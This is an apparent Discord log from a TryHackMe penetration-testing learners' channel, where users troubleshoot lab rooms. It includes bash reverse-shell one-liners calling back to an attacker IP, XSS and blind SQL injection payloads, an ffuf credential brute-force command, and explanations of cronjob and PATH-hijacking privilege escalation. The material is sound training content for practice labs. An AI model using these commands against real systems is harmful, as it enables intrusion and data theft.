#junior-pentester-path

1 messages · Page 8 of 1

wraith pilot
prisma raptor
#

You only have to call the filename of the file you uploaded.

wraith pilot
#

ohh ok, got it to work like you said, prob sumthin weird happened

modest arch
#

Hi everyone, i'm having a problem in tryhackme and i hope some of you can help me. When i start the AttackBox, every five seconds it says me "Disconnected" and i can't do anything. Can someone explain to me how to solve this?
Thank you so much for the answer

prisma raptor
modest arch
#

yes. i use a VPN but that's not a problem i suppose. I don't think i have any problems

#

I've also tried to disconnect myself from the VPN but nothing has changed. It keeps saying me "Disconnected"

zinc hull
#

been stuck on this file inclusion challenge fora bit. Anyone able to give me a hand?

opal ember
#

Hi,
currently I´m doing the jr. pentester path and I just solved the Authentication Bypass Room.
I need and explaination of Task 4: Logic Flaw.
I understand the logic behind the method and how it´s been executed, but I do not really get how to find out,
if the application is using the $_Request variable. Thats the vulnerability, right?
Can someone explain me how I can figure that out?

clever cloud
prisma raptor
#

To add to what @clever cloud said, usually, the root of your website would be located on /var/www/html so you would have to move from that path to the /etc/ where the flag is located.

zinc hull
proven mulch
#

Hello, im currently at Linux Privilege Escalation by task 9 and I want to establish a reverseshell.
My crontab file looks like in the screen shot.
So I edited the /home/karen/backup.sh file with the following content:
#!/bin/bash
bash -i >& /dev/tcp/10.14.59.178/4444 0>&1
And a Netcat listner in my attcking maschine on port 4444.
But I didn't even see packets send to me via tcpdump.
What am I doing wrong? 😦

sage current
wooden marlin
#

I'm on the Linux Privilege Escalation room in the Jr Pen Tester path and I cannot seem to get the cronjob reverse shell to work in task 9. I'm updating the backup.sh file to include the line bash -i >& /dev/tcp/[MY IP]/6666 0>&1 and using nc -nlvp 6666 as a listener

sage current
wooden marlin
#

I've made it an executable. Is it just a matter of waiting for the cronjob to run?

sage current
#

chmod +x backup.sh???? and after that yes it should be just wait for it to run

wooden marlin
#

Yeah, it's still not called back to my listener

sage current
wooden marlin
#

I've not moved it

#

it's still where the crontab thinks it is

sage current
#

try some other payload from here and see if that works

#

like the python ones

proven mulch
next lanceBOT
#

Gave +1 Rep to @sage current

amber ridge
#

hi everyone, I'm on task 5 of content discovery, but my attackbox cannot open it says exceed limit for 1 hour a day. is there any way to complete this task?

#

i could manage to complete task 3 because it provides the prompt to copy and run on windows powershell. but on task 5 only got for curl

remote iris
amber ridge
#

need to have external vm?

amber ridge
remote iris
somber shard
#

hey

#

guys who

#

can tell me why i can't download this

#

(Linux Privilege Escalation Room TASK 5)

hardy venture
#

it look like a privilege issue
did you give it all the permission ?

somber shard
#

permission*

hardy venture
#

chmod 777 exploit

somber shard
#

i gave her

#

i think tthe problem is the wget

#

not in the file

hardy venture
#

it look like there are already an exploit on the second machine

#

and you can't download your new exploit cause you can't overwrite the one already existing

somber shard
#

i have changed the name

#

and still dosen't work

hardy venture
#

try wget -S ...
it should give more information about the issue

somber shard
#

same

hardy venture
#

wait imma try it

somber shard
#

i have installet it in the target macchine

#

but when i run it i got this "./ofs: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./ofs)"

hardy venture
#

yhea, the exploit and the machine use different version of GLIBC

somber shard
#

yess

#

nvm ude

#

dude i solve it

pine briar
#

Anyone else having a problem with the sql injection machine where it keeps breaking?

#

super annoying

prisma raptor
pine briar
#

introduction to web hacking

#

the SQL injection room

#

finally got through it though. just know that you may have to restart the machine a couple times

zinc hull
#

anyone able to help me with flag 2 on the file inclusion lab?

#

i changed the cookies guest value to /etc/flag2

zinc hull
#

hullo?

clever cloud
zinc hull
#

Challenge 2

#

Capture Flag2 at /etc/flag2

#

File Inclusion

zinc hull
clever cloud
zinc hull
#

Task 8

#

Capture Flag2 at /etc/flag2

#

oops my discord didnt update and i got ur first ping again

#

mb for repeat

zinc hull
maiden grove
#

im on task 6 of subdomain enumeration. im running the commands and they dont seem to be producing a result

maiden grove
#

nvm it worked now

zinc hull
# zinc hull

anyone able to help me wiuth the File Inclusion Lab? Task 8
Capture Flag2 at /etc/flag2

gloomy snow
# zinc hull

The value is still not correct. In your pic you're not changing directories and it fails because the /etc/flag2 isn't in the current directory

zinc hull
#

what do you mean?

#

because before i changed it it told me only admins could visit

gloomy snow
#

I mean the error says that the file /etc/flag2 isn't in the directory /var/www

#

So right now you're in the /var/www/html directory and the /etc is in the root directory

zinc hull
#

im just trying to traverse the directories to find the webpage but cant

gloomy snow
#

You have to go back more directories. Right now you're in the /var/www/html/chall2.php, so to go to the root directory from there you just have to count

zinc hull
#

aye yeah i added a few more ../ and i managed to find the flag

#

thanks

zinc hull
#

is this correct for the file inclusion lab task 8 challenge 3?

modest arch
#

can someone help me whit the task 8 in Linux Privilege Escalation, i keep getting this error:

Error detected while processing command line:
Traceback (most recent call last):
  File "<string>", line 1, in <module>
PermissionError: [Errno 1] Operation not permitted
prisma raptor
subtle dawn
#

SMTP room

#

how to solve this?

modest arch
prisma raptor
swift trench
#

What's wrong with this can someone please help me with this.?
Level Four:
Entering your name into the form, you'll see it reflected on the page. This level looks similar to level one, but upon inspecting the page source, you'll see your name gets reflected in some JavaScript code.

You'll have to escape the existing JavaScript command, so you're able to run your code; you can do this with the following payload ';alert('THM');// which you'll see from the below screenshot will execute your code. The ' closes the field specifying the name, then ; signifies the end of the current command, and the // at the end makes anything after it a comment rather than executable code.

Now when you click the enter button, you'll get an alert popup with the string THM. And then, you'll get a confirmation message that your payload was successful with a link to the next level.

<script>
document.getElementsByClassName ('name')[0].innerHTML = ''; alert('THM'); //';
</script>

swift trench
#

can someone please help me on above task.?

prisma raptor
lament oyster
#

did the burp room got updated?

prisma raptor
prisma raptor
swift trench
swift trench
zinc hull
#

can u show a screenshot?

#

i just finished that room

#

that part was just copy and pasting

swift trench
#

<script>
document.getElementsByClassName('name')[0].innerHTML='';alert('THM');//';
</script>

#

this is what i paste in input

zinc hull
#

nah

#

u put ';alert('THM');//

#

inside that textbox

wild cave
#

hi guys ,
i have been strugling with the web hacking section, i find myself to be really bad at web application penetration testing but good at network pen testing . is that normal ? i passed the network security modules easily as i have a better Technical background in networking in general. also i am starting to feel kinda web app hacking boring lol. does anyone feel the same way ? can someone help ?

#

fyi i am now in the ssrf module

swift trench
#

@zinc hull thanks rich for helping out, why its works and that snip command shown in challenge not working

next lanceBOT
#

Gave +1 Rep to @zinc hull

zinc hull
zinc hull
modest arch
#

I tried running the commands suggested by gtfobins as well

prisma raptor
whole sandal
#

can anyone help me with this problem in brute force attack please

#

ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.120.251/customers/login -fc 200

#

please help me with this command

#

while using to scan the ffuf command im not able to get the suitable username.

#

it was authetication bypass module part 3 please solve this my dear hackers

modest arch
#

@whole sandal What error is it showing you

zinc hull
#

hey so I am doing the sqli lab. Im on the time based section. I am trying to find out if there is any table named users or usernames or something like that. But I've gone through the entire alphabet and 0-9 and ive not got any delays for any table names. Is this the correct syntax?
https://website.thm/analytics?referrer=tryhackme.com/admin123' UNION SELECT SLEEP(2),2 where database() like 'sqli_four%' AND table_name like 'z%';--

#

TABLE_NAME LIKE '%' doesnt return a delay either so im not sure if this is evne the right approach

modest arch
#

@zinc hull When you say you tried 0-9, can you show me an example

zinc hull
#

'0%'

#

'7%'

modest arch
#

did you try selecting more columns

#

SLEEP(2),2,3

#

SLEEP(2),2,3,4

zinc hull
#

the task says there is only 2

modest arch
#

Ah

whole sandal
#

@modest arch I'm not getting valid username and password

zinc hull
# modest arch Ah

any ideas why there isnt a delay for when searching for the table name. It causes delay for the database() like 'sqli' bit

modest arch
#

or information_schema.columns, idk

zinc hull
#

ah rip

prisma raptor
whole sandal
#

@prisma raptor yeah I got 4 usernames

#

Do you have whatsapp

#

I will send you a pic the error

prisma raptor
#

Can you verify your account so you can send screenshots here?

#

!docs verify

tiny bluffBOT
zinc hull
#

anyone able to help me on sli time based as to why i cannot find any tables inside the sqli_four database?

#

https://website.thm/analytics?referrer=tryhackme.com/admin123' UNION SELECT SLEEP(2),2 where database() = 'sqli_four' and table_name like 'u%';-

modest arch
zinc hull
#

i tried some stuff but maybe i did it wrong or the website was glitched

#

could you give me an example url

modest arch
#

It’s in the previous tasks

zinc hull
#

like this:
admin123' UNION SELECT 1,2 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_four' and TABLE_NAME='users' and COLUMN_NAME like 'a%';

#

?

modest arch
#

Idk just experiment

zinc hull
#

yeah it didnt work

#

i think its the same thing i tried before

remote iris
#

Which room?

zinc hull
#

SQLI room

#

Task 8

#

Blind SQLi Time Based

remote iris
#

You got the link?

zinc hull
remote iris
zinc hull
#

request in 0.001 second so no delay

#

dont i first need to figure out the users table though?

#

so i can then brute force the username?

remote iris
#

I forgot part of the code.

zinc hull
#

because i cant find a table called username when i was searching

modest arch
zinc hull
#

is that in the earlier labs where it shows you? because in this task its a blind sqli where i only get a timer for how long the request took

#

i think thats from task 5

#

in band sqli

modest arch
#

Yeah I get what you mean, i think youre gonna have to do some googling if you want to get good at blind sqli

Btw in pen testing you would try the table “users” instantly without trying to check if it exists

#

Because its very possible that it does

zinc hull
#

yeah i thought that do but when i tried it (if i did it correct idk) it didnt return anything. I even tried a wildcard where it returns if any table is present and nothing got returned.
/admin123' UNION SELECT SLEEP(2),2 where database() = 'sqli_four' and table_name like '%';--

#

well "nothing got returned" there was no sleep enabled meaning that nothing was found

modest arch
#

Try looking up a writeup

fiery tapir
#

Does anyone know if the burp suite module updates are live?

zinc hull
#

also found users

modest arch
#

Idk but good job 💪🏽 👍

zinc hull
#

maybe thats where they hold their passwords because i couldnt find anything for pass,passwords etc

#

but then theres only 2 collumns so idk how i found 3

#

also just found 'rers' surely this is some kind of error on my half where im finding these nonsensical tables

#

i heard certain websites such honeypots to distract devs is this one of them? but then again this is an jr pen tester course idk why they would try make it more difficult

#

o it could actually be part of a bigger word since thats how i think this %% works since i found errers and then rerrs

#

this is like playing some kind of wordgame lol

zinc hull
#

for different web pages?

#

keep finding many different ones

#

oh the word refferers

modest arch
#

yeah but you're pretty much wasting time here

zinc hull
#

i found another one for tics

#

i need to know what table the passwords are kept i think

modest arch
#

if you completed the task then you're wasting time

zinc hull
#

nah i need a username and password

modest arch
#

if you want the whole database then lookup SQLMap

modest arch
zinc hull
#

its a blind sqli though idk if that would work

#

yeah not yet

#

i need to find what table the passwords are kept

#

found the users table

#

now im finding tables like rers errers etc

#

and now tics

#

ah that was analytics

#

this is so goofy isnt there a way to look at all the different pages without doing this brute force?

#

surely im doing something wrong here

#

theres no way theres a real word in there

#

especially not for passwords

modest arch
#

analytics&referrers maybe.

#

idk why you spending time on this

#

search for different table already

zinc hull
#

i am lol

#

i keep getting different weird stuff

#

table_name LIKE '_sers%'

#

begining with a _

modest arch
#

ah i see

#

the _ is a wildcard too bro

#

😂

zinc hull
#

wym

modest arch
#

but this one _

#

is a wildcard for 1 character

#

for example

if you wrote Rix%

#

it would return Rixon

#

but Ri_on

#

would also work

#

% and _ are wildcards

zinc hull
#

ah well i cant enter anything unfortunatly 😂

modest arch
#

so if you have a table like users

#

you can check if its the end of the word

#

using users_

zinc hull
#

aah yeah sers is users

modest arch
#

yep

zinc hull
#

but yeah the _ makes sense as well

#

wtf did they call the passwords table omfggg

#

surely its not analytics

modest arch
#

users

#

maybe inside users

#

could be the passwords column

zinc hull
#

u can do that?

#

shesh

modest arch
#

bro users is the table

#

not the column

#

table can have passwords

#

once you got the table

#

you do FROM users WHERE column_name

#

or something like that

#

or FROM users WHERE password LIKE "a%

zinc hull
#

that does kinda explain how im only able to find users and analytics

modest arch
#

actually you get the column name by going thru information_schema.columns

#

@zinc hull

admin123' UNION SELECT SLEEP(3),2 FROM information_schema.columns WHERE table_name LIKE 'users' AND column_name LIKE '%

#

and look for the column you need

#

once you got the column name, its easy

zinc hull
#

ah thats what i was trying to do just now lol

#

thanks

modest arch
#

np

zinc hull
#

my attempt didnt work ahaha

#

UNION SELECT 1,2,3,4 from users where username like '%'

modest arch
#

I just got the password

#

It's always fun to go back and see if I still remember how to do it

#

(I didn't remember sh** lol)

zinc hull
#

ah nice

#

unfortunatly my machine crashed

#

so now i need to do all the tasks again

modest arch
#

🤣🤣🤣 DAMN

modest arch
#

practice makes perfect 😂

zinc hull
#

ive been taking notes throughout this jr pen testing thing tho so i got all the info stored

zinc hull
# modest arch practice makes perfect 😂

hey do I need to specify the path ie: users -> username?
https://website.thm/analytics?referrer=tryhackme.com/https://website.thm/analytics?referrer=tryhackme.com/admin123' UNION SELECT 1,2 from users where username like 'a%

lethal cipher
#

Hey guys I’m doing this path and almost finished it, today I saw that my burp suit module has reseted… does anyone has the same issue? I checked and looks some material changed… doesn’t make sense to have to go through it again though! 😱

simple wadi
#

My burp module has reset as well. Hopefully they restore my progress

carmine needle
#

ok so its not normal that they reset already done content? ^^ was wondering also.

prisma raptor
prisma raptor
simple wadi
#

Lol, more progress lost...

prisma raptor
zinc hull
#

Ye

#

Thanks anyway for help

somber shard
#

is the website down

#

guys ?

zinc hull
#

seems ok to me

prisma raptor
#

Works for me as well.

somber shard
#

o

#

ok

lethal cipher
next lanceBOT
#

Gave +1 Rep to @prisma raptor

simple wadi
prisma raptor
modest arch
#

Hello Everyone, I'm new here.

#

I do not have enough knowledge about Cyber ​​Security. I just started and I want to improve myself.

zinc hull
#

If you are new then I wouldn’t recommend starting at the junior pen tester path

#

Start with something like intro to cyber

cedar cape
#

got stuck in task 7. anyone can help me under ( burpsuiterepeater)

valid basin
simple wadi
valid basin
simple wadi
#

@valid basin 3rd times a charm

zinc hull
#

been trying the metasploit room for exploiting and ive been trying to find vulnerabilities on a ip address. Can anyone tell me whgat im doing wrong

#

i ran msfdb init before like on the prev lab

prisma raptor
zinc hull
#

i did but upon running the msfdb init i think it escaped the metasploit

#

so i managed to fix it now by running it again forgot to say

zinc hull
#

On the metasploit Exploit Lab it says
"Exploit one of the critical vulnerabilities on the target VM"
And on a hint it says: The target is missing the MS17-010 patch.
upon running db_nmap -sV -p- 10.10.231.251
I have not been able to identify this? Could somebody tell me how I would've known this without the hint?

zinc hull
#

maybe this has something to do with why it doesnt show why its not giving me the vulnerability?

#

when i tried to run the ms17 exploit it told me it was unreachable even though the hint literally said it should be

prisma raptor
# zinc hull On the metasploit Exploit Lab it says "Exploit one of the critical vulnerabilit...

Aside from the command you just ran, I usually run another nmap scan with the -A option that includes OS detection, Service Version Scan, and the default nmap scripts. Once you have the OS version, you could Google possible exploits in it.

Another nmap scan would be running the --script=vuln, which will show you a list of exploits or vulnerabilities you can exploit on thr target.

#

That's what I do, but there are other ways for sure.

prisma raptor
# zinc hull

For metasploit, you have to give it some info such as the payload, the machine IP, target, etc.

#

Once you have selected your exploit, you can type show options and metasploit will identify what info, especially where required, you need to supply for the exploit to run correctly.

zinc hull
#

would you know whats going on?

#

it says starting but nothing happens

#

if i press the down arrow it does what happened above

hollow frost
zinc hull
#

ah yea

#

but what does this actually mean since apparently the ip is vulnerable to ms17 but where would it say that

prisma raptor
zinc hull
#

yea

prisma raptor
#

To avoid confusion, you run nmap via the terminal (let's call it terminal 1) and you run metasploit in a different terminal (terminal 2).

zinc hull
#

ah ok

prisma raptor
#

You run nmap to enumerate your target, meaning you want to know what ports are open and the services that are running on those ports in the target.

#

In the case of metasploit, it is a suite of tools that you can use to enumerate and exploit a vulnerability to gain access in your target.

Note: I probably am not doing justice in defining and/or describing the capabilities of metasploit, but I'm trying to simplify it as much as I can. You can build on it later as you see fit once you have a basic grasp of things.

zinc hull
#

ah i see, i just need to find the different commands that help me with finding vulnerabilities

zinc hull
# zinc hull

i find it a bit difficult to read that as to what it means and how it apparently proves that there is a ms17 vulnerability

hollow frost
zinc hull
#

i see but could you help me with understanding the output?

hollow frost
zinc hull
hollow frost
#

do you have check port signification ? 🙂

zinc hull
#

sorry what is that

hollow frost
zinc hull
#

i dont know what it is how do I check that

prisma raptor
zinc hull
#

i understand the steps but i dont know what the contents of the nmap output mean

#

there are open ports

#

but im not sure how it is showing there is a ms17 vuln

prisma raptor
zinc hull
#

damn it says 0:40:32 remaining

prisma raptor
#

This will take time as you have the -p- with the -A option in your command. Thus, nmap will do all those checks against all the ports

#

What you can do is break down the scan into stages. For example I run the -p- first to get a list of open ports. Once I have the list, I run another nmap scan with the -A option against those identified open ports. Thus, the detailed checks will be done only against those ports I specified.

zinc hull
#

ah i see

#

so i have these open ports:[] Nmap: Discovered open port 139/tcp on 10.10.227.136
[
] Nmap: Discovered open port 445/tcp on 10.10.227.136
[] Nmap: Discovered open port 135/tcp on 10.10.227.136
[
] Nmap: Discovered open port 3389/tcp on 10.10.227.136

#

3389 is probably just me i think right since thats the port for remote desktop

#

so i need to run a scan using the -A on those ports

zinc hull
#

so exploit that port 135 thats open?

#

the hint on this task says that the vulnerability is to do with "The target is missing the MS17-010 patch." but i cannot find anything about it in any of these scans

#

ive exploited it but honestly no idea where it showed that vulnerability existed

prisma raptor
prisma raptor
prisma raptor
# zinc hull

Also, I noticed that you still ran your nmap command in metasploit.

tall swallow
#

Hello everyone
I'm in "Burp Suite: Other Modules"
→"Task 8 Sequencer: Live Capture"
I don't know the answer for the question.
I did the necessary analysis, but have no idea about the correct answer.
I will attach my result.

#

I found the answer.
Thanks.

trim idol
#

Hi, sorry to bother you all. I have some issues with subdomain enumeration task6. I got an error that keyword FUZZ is defined but not found in headers, method, URL, or Post data. Do you have any ideas what i am doing wrong?

prisma raptor
trim idol
#

As state in the task, FUZZ in place where subdomain should be

prisma raptor
trim idol
#

Nope, but don't know where to looking for wordlist

#

Do you know?

prisma raptor
#

Are you doing the task in the Attackbox or in your kali VM?

#

If in your kali VM, you can download the entire SecLists repo by running git clone https://github.com/danielmiessler/SecLists.git

trim idol
#

What if i am using AttackBox, as there i got plenty of errors?

trim idol
next lanceBOT
#

Gave +1 Rep to @prisma raptor

cedar cape
trim idol
cedar cape
#

likethis [Status: 200, Size: 2395, Words: 503, Lines: 52]

trim idol
#

Encountered error(s): 1 errors occured.
* stat /usr/share/wordlists/SecLists/Discovery/DNS/namelists.txt: no such file or directory

prisma raptor
trim idol
#

I will check the solution provided by @prisma raptor tomorrow

trim idol
#

but using Open VPN and VM I have the same results

cedar cape
#

try to locate first

#

locate namelist (output like this /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt) should be. i am using attackbox too

trim idol
#

I think it is all about this FUZZ word, will check and send you the outcome 🙂

#

as it probably will be missing file with SecList so it cannot find anything

cedar cape
cedar cape
trim idol
#

so it cleary shows that it is a porblem with mine machine 🙂

cedar cape
#

root@ip-1XXXXXX~# locate namelist
/opt/metasploit-framework/embedded/framework/data/wordlists/namelist.txt
/usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt

trim idol
cedar cape
trim idol
#

Encountered error(s): 1 errors occured.
* stat /usr/share/wordlists/SecLists/Discovery/DNS/namelists.txt: no such file or directory

when I tried full commend

#

but there is extra s, hold on

cedar cape
#

manually go to the directory

#

cd /usr/share/wordlists/SecLists/Discovery/DNS

#

then ls. look if there is no file

halcyon patio
#

if you're using VPN/VM and your VM is kali, try ../seclists/... instead of .../SecLists/...

#

by default that folder is lower case

sage current
#

yeah nowadays

#

on older versions it was the camel case

trim idol
#

what should be the size used to filter?

#

i have 472

cedar cape
trim idol
#

i have too many results after first command and cannot scroll up to the start, all results I can see are 472 in size

cedar cape
#

can you look on [Status: 200, Size: 56, Words: 8, Lines: 1] (maybe different on mine)

trim idol
#

different results but again, I cannot scroll all results so I am not able to find correct answers. Let's leave it till tomorrow, I am tired now 😄

cedar cape
trim idol
#

I am not feel confident enough to write scripts yet but will think about it 😄

cedar cape
waxen root
#

Hello All, Iam preparing for the sec542 (GWAPT). Any recommendations for what rooms to solve for polishing web app pentesting skills?

prisma raptor
half furnace
#

i did the jr pentest path last year, then just finished google cybersec cert this week.
Just bought access and voucher for eJPT. After getting through the first course in eJPT i honestly feel like it was a waste of money and the TryHackMe jr pentest was filled with way more information presented in a much more useful and practical aspect....
Ultimately my goal is to get the OSCP cert, and maybe i should have just skipped over the eJPT? Maybe there will be more info that i'm missing but....feeling like TryHackMe covers everything much better at this point. Feels like i wasted $300 lmao

#

the lab didnt even have questions to answer, it was just "do this" and then "view solution". Felt very...disconnected.

Anyone else here do the eJPT?

reef pewter
#

ecsuse me for my bad english

half furnace
fierce wing
#

hi, i'm newbie and i'm beginning to learn and into webapplication path learn, i must to connect with attack box, until here all its good. But when i want to connect on the web url, not response, same with youtube.com for test.. someone can help me? Thx

prisma raptor
fierce wing
#

justly i make it but dont response

reef pewter
half furnace
# reef pewter All I'm saying is that it makes me strange that a 300-dollar course is not effec...

It was strange to me too. I think eJPT's website has great stuff, but the way some of the material was presented was not great. TryHackMe also has a huge community backing. From my experience, open source content is usually better maintained. I dont wan't to call eJPT bad, just...i am definitely more impressed with TryHackMe and like the content presentation better.
I felt disappointed paying $300 for eJPT and would rather study majority through TryHackMe and other resources like TCM, HTB, and overthewire to prepare for OSCP. TryHackMe is good.

nova portal
#

hello, i'm i welcome here

half furnace
#

Hello and welcome!

shrewd totem
#

Hi, I want a little help what path should I take after finishing jr Pentester path ?

next lanceBOT
#

Gave +1 Rep to @prisma raptor

median jay
#

I can't compile the 37292 .c file which is needed for kernel exploitation. I am getting this error:

37292.c: In function ‘main’:
37292.c:106:12: warning: implicit declaration of function ‘unshare’ [-Wimplicit-function-declaration]
106 | if(unshare(CLONE_NEWUSER) != 0)
| ^~~~~~~
37292.c:111:17: warning: implicit declaration of function ‘clone’; did you mean ‘close’? [-Wimplicit-function-declaration]
111 | clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
| ^~~~~
| close
37292.c:117:13: warning: implicit declaration of function ‘waitpid’ [-Wimplicit-function-declaration]
117 | waitpid(pid, &status, 0);
| ^~~~~~~
37292.c:127:5: warning: implicit declaration of function ‘wait’ [-Wimplicit-function-declaration]
127 | wait(NULL);
| ^~~~

#

These lines are not cut.

#

Can anyone help me?

#

This is needed for Linux priv escalation.

prisma raptor
#

Have you checked if there is a gcc installed on the mahine? Including what version?

median jay
prisma raptor
#

Where did you compile your exploit?

#

If you did it in your kali VM, chances are you'll have version compatibility issues.

#

Have you tried it on your victim machine?

median jay
#

No. I haven't.

#

I can get the access through SSH. But can't get to compile there

prisma raptor
#

Hmm.. is that the exploit as instructed in the room?

median jay
#

yes

uncut yoke
# median jay yes

i just did that room yesterday. if you do an ls while connected to ssh. you’ll find that the file is already there. So then just follow the room guide from there. The green text.

hot void
#

Anyone having problems with "what the shell room ?" ?

hot void
#

I'm trying to upload a webshell.php but when i type out that long shell command nothing happens on my listener i type the shell command after cmd:http://address/uploads/webshell.php?cmd= "that long shell command"

#

I did Change the ip and the port to catch up the connection on my listener but without useful result

wild cave
median jay
hot void
wild cave
hot void
#

@wild cave
Let me know if you can find anything useful. I sent the problem to #room-bugs

wild cave
#

i have been on this for hours

hot void
wild cave
next lanceBOT
#

Gave +1 Rep to @hot void

uncut yoke
atomic bloom
#

As a TryHackMe fan, I'm disappointed with the Burp Suite module released two weeks ago. It's just painful to go through it. I finished the room Burp Suite: The Basics and started Burp Suite: Repeater. Burp Suite has a lot of functions, I know. The problem is that the room explains what EACH button does theoretically and in a way that is both boring and overwhelming at the same time. I say this as a person that loved almost every TryHackMe room.

hot void
#

@wild cave
You were right we have to use another webshell

#

Use this shell and change the ip and the port at the end

reef pewter
covert viper
#

wsg guys

next lanceBOT
#

Gave +1 Rep to @hot void

fierce otter
#

i am at the "Walking an application " room and i have tried to find the flag and was able to find flag on the secret link and on the HTML page but i don't know how to find the remaining flag{directory listing , framework }flag and i don't have knowledge of reading the source code , any suggestions?

prisma raptor
fierce otter
#

yeah but in the source code i couldn't find the it

uncut yoke
remote iris
#

It's not a flag, it's a link.

tribal vessel
#

g

maiden grove
#

🙂

meager flax
#

I’m doing the net-sec challenge room and my hydra doesn’t seem like it’s ever connecting. It shouldn’t take HOURS to run, should it? I’ve done -fdv to see what’s going on, but my hydra never actually finishes running. I don’t think this could be correct.

#

I’ve only managed to remember to extend my box by one hour once. But I can’t imagine it should take this long.

meager flax
#

Uhhhh ok I cheated and looked at a walkthrough. This isn’t exactly too much of a hint to say to anyone having this problem — confine yourself just to using hydra on the specific open ports! That was my problem.

remote iris
hot void
#

What the shell ?
The remote windows target doesn't have netcat nor socat installed

#

And i can't access the internet from the Windows server

prisma raptor
#

Also, from the text, I think part of the challenge is to transfer a socat static binary on the target.

hot void
next lanceBOT
#

Gave +1 Rep to @prisma raptor

meager flax
noble pilot
#

Does anyone here having an issue in practice section > Series Tab > Nmap. I can't ping target machine from both local kali, and Attack Box/OpenVpn

plain tusk
meager flax
#

Thanks!

fresh rose
fresh rose
#

Neither is it pinging.

hot void
fresh rose
hot void
fresh rose
next lanceBOT
#

Gave +1 Rep to @hot void

hot void
vapid jackal
#

Does anyone know of any videos that explain the LFI room well? I mostly understand it and ive done the first two challenges but Im stuck on the third.

tribal vessel
#

@vapid jackal what is the question?

vapid jackal
next lanceBOT
#

Gave +1 Rep to @tribal vessel

tribal vessel
#

no problem 🙂

#

im almost done with the Web Fundermentals myself

#

i think i had trouble wrapping myhead around the LFI section too

#

the nullbyte confused me abit

plain tusk
tribal vessel
#

yeh i using cherrytreee for note taking

#

making it so much better

median jay
#

What is the PATH variable in privilege escalation and how does it work? Any simple explanation?

prisma raptor
# median jay What is the PATH variable in privilege escalation and how does it work? Any simp...

I would describe the PATH environment variable as the location or directory the OS would look for when executing a specific binary or program.

With that said, have you ever wondered why there are programs that you simply put in the name to run, such as cat, ssh, rm, etc. That is because the location of these binaries are saved in the PATH environment variable. In contrast, there are programs that when installed, you have to indicate the full or relative path in order to run those. That is because the location or directory where you saved or installed those may not be included in the PATH environment variable.

Now, in privilege escalation, if we can somehow trick the OS to pick our malicious program / binary by prepending the PATH environment variable with the location of our malicious program, we can get the OS to execute the contents of our program / binary.

#

For example, the legitimate binary is located in /usr/bin and our malicious binary is in /tmp, by putting /tmp before /usr/bin in the PATH environment variable, chances are the OS will pick and execute our malicious binary instead of the legitimate one.

next lanceBOT
#

Gave +1 Rep to @prisma raptor

prisma raptor
#

Glad I could help.

proper turtle
#

does anyone know how to stop the screen from being blank

#

vm

prisma raptor
proper turtle
#

no

wild cave
proper turtle
#

that worked than you so much

zinc hull
#

anyone able to help me with the burpsuite room

#

cant seem to find a unusual endpooint

remote iris
zinc hull
#

i clicked on all of them i think

remote iris
#

Keep clicking.

zinc hull
#

theres not really any links left to click on

remote iris
#

I know, but I had to keep browsing, and it eventually appeared

zinc hull
#

what will it look lkike because all of those look quite unusual to me tbh

remote iris
#

5 min(s)

remote iris
zinc hull
#

not seeing it :I

remote iris
#

Like I said, you need to click around the website

#

And it will appear here.

zinc hull
#

i think i clicked on every link on the homepage about 10 times now and this all i got 💀

zinc hull
#

i think it tells u to look on click on all the pages on the home page but ill try them as well

#

god damn this is so goofy i cant find any unusual url surely this isnt the right way of doing it.

Im clicking on all the links on a page
going on burp and then forwarding them on the proxy
Then reading the target sitemap

reef pewter
# zinc hull

hey man. so, i remember that you must launch an exploit tath change the number of page.

reef pewter
# zinc hull

devi nuemerare le pagine da 1 a 100 e troverai mi pare 4 o 5 pagine . in uan di queste pagine trovi la flag.

#

ops i copied the wrong text ahahahahaha

#

you have to nuemerate pages 1 to 100 and you will find I think 4 or 5 pages. on one of these pages you will find the flag.

reef pewter
# zinc hull

example: http:// 10.10.x.x/about/1 ,2 ,3 ,5,6,7,9,8 eccc. eccc. this is done with an exploit generated by the INTRUDER section. a numerical payload that you set the number range. in this case you set the payload from 1 to 100.

bright pilot
#

@zinc hull aye listen man

Just go to staff members profile in that room

#

I got there

#

And I completed yesterday

bright pilot
reef pewter
earnest pumice
#

I've been so confused with trying to figure out File Inclusion Task 8, Flag1. I first tried using the built in Firefox dev tools, changing the request to post, adding the needed header, and then sending a post request to get the file, that didn't work. Now i've been trying to use Curl, this is my command, how far off am I lol.

#

I don't even seem to get an error, the site just looks the same

swift trench
#

anyone pls let me know the Karren password to execute the commands Linux Privilege Escalation room
while i try to execute the TASK 3 commands its asking for the password

#

The command i executed sudo -l

#

sudo -l
The target system may be configured to allow users to run some (or all) commands with root privileges. The sudo -l command can be used to list all commands your user can run using sudo.

prisma raptor
jaunty orchid
#

hi everyone, in the sql injection room under in-band SQLi we are introducted to the UNION SELECT 1,2,... such that the SLQ statement is:
select * from article where id = 0 UNION SELECT 1,2,3
I understand what the first part which is searching for the article with id=0
But the second part where we are enumerating how many colums there are by using SELECT 1 then SELECT 1,2 etc until we don't get an error. How does this work? Don't we have to SELECT [something] from [somewhere]?

umbral wigeon
#

im still new but I have done some other rooms and koths that involve sql this is generally what i do : mysql -u root -h <IP> -p
root/root
use users;
select * from User;

#

Example of in-band SQL injection
SELECT * FROM users WHERE user_id LIKE 'current_user'

#

@jaunty orchid

jaunty orchid
ember yarrow
#

Please keep your username appropriate @jaunty orchid

drifting sedge
#

what the heck was the username before

jaunty orchid
jaunty orchid
# ember yarrow Please don’t 🙂

No worries. It was supposed to be a cheeky evolution of my original screen name MrSquiggle (because it looks like a bunch of squiggles) but I can see why it might not be appropriate on this discord chanel. Out of curiosity, is the name change only for this channel or does it affect my discord globally?

ember yarrow
tribal vessel
#

too saucy for tv

lusty tide
#

guys

#

can you help me with my problem?

remote iris
#

What's your problem?

lusty tide
#

i want to finish eternalblue machine

#

but

remote iris
#

!dark

tiny bluffBOT
#
DarkStar7471
*ahem* Can help you?
remote iris
#

Damn it,

remote iris
lusty tide
#

oh, i can't send image here

remote iris
#

!docs verify

tiny bluffBOT
lusty tide
#

can i send you?

remote iris
#

You need to verify, to attach pictures and embeds.

